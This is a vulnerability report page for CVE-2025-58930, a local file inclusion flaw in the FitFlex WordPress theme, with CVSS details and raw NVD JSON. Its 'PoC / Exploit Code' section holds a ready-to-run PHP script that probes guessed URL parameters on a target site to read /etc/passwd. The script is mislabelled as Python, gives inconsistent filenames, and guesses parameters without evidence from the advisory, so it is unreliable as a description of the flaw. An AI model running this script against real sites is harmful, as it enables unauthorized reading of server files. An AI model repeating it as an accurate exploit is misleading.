Security Vulnerability Report
中文
CVE-2025-58930 CVSS 8.1 HIGH

CVE-2025-58930

Published: 2025-12-18 08:16:00
Last Modified: 2026-04-27 20:16:20

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes FitFlex fitflex allows PHP Local File Inclusion.This issue affects FitFlex: from n/a through <= 1.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:fitflex:*:*:*:*:*:wordpress:*:* - VULNERABLE
FitFlex Theme <= 1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58930 - FitFlex Theme Local File Inclusion PoC * Affected: FitFlex Theme <= 1.6 * * Usage: php cve-2025-58930.py <target_url> [target_file] * Example: php cve-2025-58930.py http://target.com /etc/passwd */ $target_url = $argv[1] ?? ''; $target_file = $argv[2] ?? '/etc/passwd'; if (empty($target_url)) { echo "Usage: php cve-2025-58930.php <target_url> [file_to_read]\n"; exit(1); } // Common vulnerable parameters in FitFlex theme $vulnerable_params = ['page', 'template', 'file', 'action', 'include']; foreach ($vulnerable_params as $param) { $url = $target_url . '/?' . $param . '=' . urlencode($target_file); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'root:') !== false) { echo "[!] Vulnerable! File content:\n\n"; echo $response; exit(0); } } echo "[*] No obvious LFI vulnerability detected with basic parameters.\n"; echo "[*] Manual testing may be required.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58930", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:00.403", "lastModified": "2026-04-27T20:16:19.717", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes FitFlex fitflex allows PHP Local File Inclusion.This issue affects FitFlex: from n/a through <= 1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:fitflex:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.6", "matchCriteriaId": "643B6A56-4DB8-44C9-B3EE-5B888FADDFF0"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/fitflex/vulnerability/wordpress-fitflex-theme-1-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}